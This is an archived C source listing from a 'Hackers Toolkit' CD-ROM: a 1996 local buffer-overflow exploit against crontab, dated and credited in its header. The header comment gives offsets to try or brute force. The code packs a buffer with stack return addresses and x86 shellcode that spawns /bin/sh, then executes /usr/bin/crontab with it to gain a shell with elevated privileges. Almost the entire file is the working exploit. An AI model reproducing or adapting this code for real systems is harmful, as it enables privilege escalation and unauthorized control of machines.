home *** CD-ROM | disk | FTP | other *** search
/ Hackers Toolkit v2.0 / Hackers_Toolkit_v2.0.iso / HTML / archive / Unix / c-src / bsdcron.c < prev    next >
C/C++ Source or Header  |  1999-11-04  |  2KB  |  71 lines

  1. /********************************************************************
  2.  * crontab buffer overflow code - mudge@l0pht.com                   *
  3.  * 10/12/96                                                         *
  4.  *                                                                  *
  5.  * So I was sitting here thinking... I know, it's a dangerous thing *
  6.  * and you ever notice that hackers seem to have a surplus of time  *
  7.  * on their hands? Well, I don't but hopefully if I keep coming out *
  8.  * with things like this it will help to perpetuate the myth.       *
  9.  *                                                                  *
  10.  * There is a really cool buffer overflow in crond that bitwrior    *
  11.  * spotted. So I figured that since the same person, Paul Vixie,    *
  12.  * wrote crontab too that the same type of errors would probably be *
  13.  * there. Sure enough!                                              *
  14.  *                                                                  *
  15.  * Ya gotta love command line overflows... just yank the code from  *
  16.  * any existing one and brute on the new program. This is almost    *
  17.  * verbatim from my modstat overflow.                               *
  18.  *                                                                  *
  19.  * try with offsets of -92, -348, 164, 296, 351 with the way this   *
  20.  * is currently setup. If these fail, brute force it <grin>.        *
  21.  *******************************************************************/
  22.  
  23. #include <stdio.h>
  24. #include <stdlib.h>
  25.  
  26. long get_esp(void)
  27. {
  28.    __asm__("movl %esp, %eax\n");
  29. }
  30.  
  31. main(int argc, char **argv)
  32. {
  33.    int i, j, offset;
  34.    char *bar, *foo;
  35.    unsigned long *esp_plus = NULL;
  36.  
  37.   
  38.    char mach_codes[] =
  39.    "\xeb\x35\x5e\x59\x33\xc0\x89\x46\xf5\x83\xc8\x07\x66\x89\x46\xf9"
  40.    "\x8d\x1e\x89\x5e\x0b\x33\xd2\x52\x89\x56\x07\x89\x56\x0f\x8d\x46"
  41.    "\x0b\x50\x8d\x06\x50\xb8\x7b\x56\x34\x12\x35\x40\x56\x34\x12\x51"
  42.    "\x9a>:)(:<\xe8\xc6\xff\xff\xff/bin/sh";
  43.  
  44.    
  45.    if (argc == 2)
  46.      offset = atoi(argv[1]);
  47.  
  48.    bar = malloc(4096);
  49.    if (!bar){
  50.      fprintf(stderr, "failed to malloc memory\n");
  51.      exit(1);
  52.    }
  53.  
  54.    foo = bar;  /* copy of original ptr */
  55.  
  56.    esp_plus = (long *)bar;
  57.    for(i=0; i < 1024 ; i++)
  58.      *(esp_plus++) = (get_esp() + offset);
  59.  
  60.    printf("Using offset (0x%x)\n", (get_esp() + offset)); 
  61.  
  62.    bar = (char *)esp_plus;
  63.  
  64.    for(j=0; j< strlen(mach_codes); j++)
  65.      *(bar++) = mach_codes[j];
  66.  
  67.    *bar = 0; 
  68.  
  69.    execl("/usr/bin/crontab", "crontab", foo, NULL);  
  70. }
  71.